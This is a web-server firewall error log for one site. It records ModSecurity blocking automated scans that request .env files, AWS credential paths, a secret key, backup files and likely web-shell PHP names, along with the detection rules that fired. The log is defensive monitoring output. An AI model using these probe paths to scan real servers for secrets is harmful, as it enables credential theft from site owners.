[Wed Mar 04 00:06:32.896052 2026] [:error] [pid 36785:tid 36859] [client 163.7.9.65:49194] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/frontend/.env"] [unique_id "aacHCHhJejauENG9qTg6HQAAAIk"]
[Wed Mar 04 00:06:32.899179 2026] [:error] [pid 14042:tid 14053] [client 163.7.9.65:49196] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".log"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/error.log"] [unique_id "aacHCGeHGCmSEiIBcK6VwgAAAYk"]
[Wed Mar 04 00:06:32.901878 2026] [:error] [pid 26186:tid 26206] [client 163.7.9.65:49202] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sites/.env"] [unique_id "aacHCPbZCNtk8wDak9fpMwAAAVI"]
[Wed Mar 04 00:06:37.895191 2026] [:error] [pid 14042:tid 14061] [client 163.7.9.65:49212] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/bucoffea/.env"] [unique_id "aacHDWeHGCmSEiIBcK6VzQAAAZE"]
[Wed Mar 04 00:06:37.897812 2026] [:error] [pid 36785:tid 36851] [client 163.7.9.65:49238] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/preview/.env"] [unique_id "aacHDXhJejauENG9qTg6IAAAAIE"]
[Wed Mar 04 00:06:37.903288 2026] [:error] [pid 36785:tid 36864] [client 163.7.9.65:49250] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.c9/metadata/environment/.env"] [unique_id "aacHDXhJejauENG9qTg6JAAAAI4"]
[Wed Mar 04 00:06:37.904083 2026] [:error] [pid 36785:tid 36856] [client 163.7.9.65:49264] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/connection.php.bak"] [unique_id "aacHDXhJejauENG9qTg6IQAAAIY"]
[Wed Mar 04 00:06:37.905523 2026] [:error] [pid 26186:tid 26190] [client 163.7.9.65:49286] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/locally/.env"] [unique_id "aacHDfbZCNtk8wDak9fpNAAAAUI"]
[Wed Mar 04 00:06:37.906426 2026] [:error] [pid 36785:tid 36855] [client 163.7.9.65:49290] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/build/.env"] [unique_id "aacHDXhJejauENG9qTg6JQAAAIU"]
[Wed Mar 04 00:06:37.907857 2026] [:error] [pid 36784:tid 36841] [client 163.7.9.65:49298] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/well-known/.env"] [unique_id "aacHDXNeKOSGbW9kDgQXWAAAAFI"]
[Wed Mar 04 00:06:37.911846 2026] [:error] [pid 36897:tid 36908] [client 163.7.9.65:49332] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/tests/default_settings/v10.0/.env"] [unique_id "aacHDSZC69_8eM0UouvhhAAAAMY"]
[Wed Mar 04 00:06:37.913783 2026] [:error] [pid 36785:tid 36860] [client 163.7.9.65:49352] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/workspace/.env"] [unique_id "aacHDXhJejauENG9qTg6JwAAAIo"]
[Wed Mar 04 00:06:37.914063 2026] [:error] [pid 36785:tid 36866] [client 163.7.9.65:49314] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/07-accessing-data/begin/vue-heroes/.env"] [unique_id "aacHDXhJejauENG9qTg6JgAAAJA"]
[Wed Mar 04 00:06:37.914729 2026] [:error] [pid 36785:tid 36859] [client 163.7.9.65:49344] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/system-config/.env"] [unique_id "aacHDXhJejauENG9qTg6KAAAAIk"]
[Wed Mar 04 00:06:37.916155 2026] [:error] [pid 36784:tid 36830] [client 163.7.9.65:49324] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sitemaps/.env"] [unique_id "aacHDXNeKOSGbW9kDgQXWgAAAEc"]
[Wed Mar 04 00:06:37.922957 2026] [:error] [pid 62485:tid 62509] [client 163.7.9.65:49386] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.aws/credentials/admin/.env"] [unique_id "aacHDf9R7DZ1ENjPMXSMYQAAAdQ"]
[Wed Mar 04 00:06:37.925354 2026] [:error] [pid 36897:tid 36919] [client 163.7.9.65:49408] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/src/assembly/.env"] [unique_id "aacHDSZC69_8eM0UouvhhgAAANE"]
[Wed Mar 04 00:06:37.925776 2026] [:error] [pid 36897:tid 36918] [client 163.7.9.65:49394] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".key"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/private/secret.key"] [unique_id "aacHDSZC69_8eM0UouvhhQAAANA"]
[Wed Mar 04 00:06:37.930861 2026] [:error] [pid 20872:tid 20893] [client 163.7.9.65:49422] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/web-dist/.env"] [unique_id "aacHDYlYbNk3E_3CgBhHgAAAARM"]
[Wed Mar 04 00:24:43.121850 2026] [:error] [pid 48807:tid 48831] [client 14.215.163.132:55749] [client 14.215.163.132] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aacLSw9v35BN-51vqYZK2wAAARY"]
[Wed Mar 04 00:33:13.073912 2026] [:error] [pid 48807:tid 48820] [client 101.32.208.70:36542] [client 101.32.208.70] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aacNSQ9v35BN-51vqYZShgAAAQs"]
[Wed Mar 04 01:31:55.091482 2026] [:error] [pid 48407:tid 48696] [client 49.51.252.146:54258] [client 49.51.252.146] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aacbCz7Td6SiHn8fwfnTLgAAAIY"]
[Wed Mar 04 01:53:55.854629 2026] [:error] [pid 27359:tid 27378] [client 52.179.195.24:21130] [client 52.179.195.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aacgM1607jzBiSmoFjIIvQAAANE"]
[Wed Mar 04 01:53:56.754183 2026] [:error] [pid 27359:tid 27372] [client 52.179.195.24:21121] [client 52.179.195.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aacgNF607jzBiSmoFjIIwQAAAMs"]
[Wed Mar 04 01:53:57.576960 2026] [:error] [pid 48807:tid 48833] [client 52.179.195.24:25313] [client 52.179.195.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aacgNQ9v35BN-51vqYaJmAAAARg"]
[Wed Mar 04 01:53:58.391986 2026] [:error] [pid 48407:tid 48703] [client 52.179.195.24:25300] [client 52.179.195.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aacgNj7Td6SiHn8fwfnbSQAAAIw"]
[Wed Mar 04 03:10:43.929059 2026] [:error] [pid 48407:tid 48713] [client 20.151.116.226:3503] [client 20.151.116.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aacyMz7Td6SiHn8fwfn4LQAAAJY"]
[Wed Mar 04 03:10:44.759066 2026] [:error] [pid 27359:tid 27366] [client 20.151.116.226:3480] [client 20.151.116.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aacyNF607jzBiSmoFjJHjQAAAMU"]
[Wed Mar 04 03:10:45.602596 2026] [:error] [pid 27359:tid 27385] [client 20.151.116.226:54373] [client 20.151.116.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aacyNV607jzBiSmoFjJHlQAAANg"]
[Wed Mar 04 03:10:46.461351 2026] [:error] [pid 48406:tid 48671] [client 20.151.116.226:54376] [client 20.151.116.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aacyNjStn8zJHlZMxFgxPgAAAEk"]
[Wed Mar 04 04:51:19.462690 2026] [:error] [pid 18554:tid 18613] [client 78.137.218.88:49502] [client 78.137.218.88] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.137.218.88, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aadJx50fKmKeTIK7QS1-FAAAAFU"]
[Wed Mar 04 05:12:05.567113 2026] [autoindex:error] [pid 54487:tid 54501] [client 62.171.170.202:58245] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed Mar 04 05:53:13.097548 2026] [:error] [pid 54487:tid 54493] [client 43.135.182.95:48500] [client 43.135.182.95] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aadYSfN8030QMpFXddsobQAAAQQ"]
[Wed Mar 04 06:20:37.681695 2026] [:error] [pid 18554:tid 18596] [client 122.51.236.174:38656] [client 122.51.236.174] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aadetZ0fKmKeTIK7QS2nnQAAAEQ"]
[Wed Mar 04 06:51:24.967291 2026] [:error] [pid 18681:tid 18703] [client 20.151.116.226:3079] [client 20.151.116.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/function.php"] [unique_id "aadl7KE_TuZYUBveWkWsLgAAANQ"]
[Wed Mar 04 06:51:25.801457 2026] [:error] [pid 18681:tid 18685] [client 20.151.116.226:3997] [client 20.151.116.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/function.php"] [unique_id "aadl7aE_TuZYUBveWkWsMwAAAMI"]
[Wed Mar 04 06:51:26.622282 2026] [:error] [pid 18554:tid 18597] [client 20.151.116.226:4029] [client 20.151.116.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/function.php"] [unique_id "aadl7p0fKmKeTIK7QS2_pQAAAEU"]
[Wed Mar 04 06:51:27.450884 2026] [:error] [pid 18681:tid 18694] [client 20.151.116.226:61263] [client 20.151.116.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/function.php"] [unique_id "aadl76E_TuZYUBveWkWsOAAAAMs"]
[Wed Mar 04 06:54:36.127326 2026] [:error] [pid 18554:tid 18601] [client 150.109.46.88:34958] [client 150.109.46.88] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aadmrJ0fKmKeTIK7QS3CuAAAAEk"]
[Wed Mar 04 09:50:50.463509 2026] [:error] [pid 18554:tid 18593] [client 45.86.202.180:31793] [client 45.86.202.180] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aaeP-p0fKmKeTIK7QS051AAAAEE"]
[Wed Mar 04 10:42:07.598576 2026] [:error] [pid 18554:tid 18594] [client 4.205.67.132:16341] [client 4.205.67.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "aaeb_50fKmKeTIK7QS1aPgAAAEI"]
[Wed Mar 04 10:42:08.116515 2026] [:error] [pid 18681:tid 18689] [client 4.205.67.132:16340] [client 4.205.67.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "aaecAKE_TuZYUBveWkX-XQAAAMY"]
[Wed Mar 04 10:42:08.631952 2026] [:error] [pid 18681:tid 18691] [client 4.205.67.132:16355] [client 4.205.67.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "aaecAKE_TuZYUBveWkX-XgAAAMg"]
[Wed Mar 04 10:42:09.144618 2026] [:error] [pid 54487:tid 54507] [client 4.205.67.132:16369] [client 4.205.67.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "aaecAfN8030QMpFXddsEtwAAARI"]
[Wed Mar 04 10:42:09.659297 2026] [:error] [pid 54487:tid 54494] [client 4.205.67.132:16338] [client 4.205.67.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-theme.php"] [unique_id "aaecAfN8030QMpFXddsEugAAAQU"]
[Wed Mar 04 10:42:10.172696 2026] [:error] [pid 18553:tid 18573] [client 4.205.67.132:16268] [client 4.205.67.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-theme.php"] [unique_id "aaecAmbax1neh8d0AHa8GAAAAAk"]
[Wed Mar 04 10:42:10.642003 2026] [:error] [pid 18681:tid 18707] [client 4.205.67.132:16334] [client 4.205.67.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-theme.php"] [unique_id "aaecAqE_TuZYUBveWkX-YwAAANg"]
[Wed Mar 04 10:42:11.105003 2026] [:error] [pid 18554:tid 18600] [client 4.205.67.132:16352] [client 4.205.67.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-theme.php"] [unique_id "aaecA50fKmKeTIK7QS1aRgAAAEg"]
[Wed Mar 04 10:42:11.617612 2026] [:error] [pid 54487:tid 54507] [client 4.205.67.132:16263] [client 4.205.67.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cah.php"] [unique_id "aaecA_N8030QMpFXddsEwgAAARI"]
[Wed Mar 04 10:42:12.130622 2026] [:error] [pid 54487:tid 54513] [client 4.205.67.132:16257] [client 4.205.67.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cah.php"] [unique_id "aaecBPN8030QMpFXddsExQAAARg"]
[Wed Mar 04 10:42:12.643602 2026] [:error] [pid 18553:tid 18566] [client 4.205.67.132:16344] [client 4.205.67.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cah.php"] [unique_id "aaecBGbax1neh8d0AHa8GQAAAAI"]
[Wed Mar 04 10:42:13.157798 2026] [:error] [pid 18555:tid 18620] [client 4.205.67.132:16286] [client 4.205.67.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cah.php"] [unique_id "aaecBTQeUDANiOsQ3Ge1fAAAAIE"]
[Wed Mar 04 10:42:13.619340 2026] [:error] [pid 54487:tid 54512] [client 4.205.67.132:16290] [client 4.205.67.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ee.php"] [unique_id "aaecBfN8030QMpFXddsEyAAAARc"]
[Wed Mar 04 10:42:14.079641 2026] [:error] [pid 54487:tid 54511] [client 4.205.67.132:16331] [client 4.205.67.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ee.php"] [unique_id "aaecBvN8030QMpFXddsEzQAAARY"]
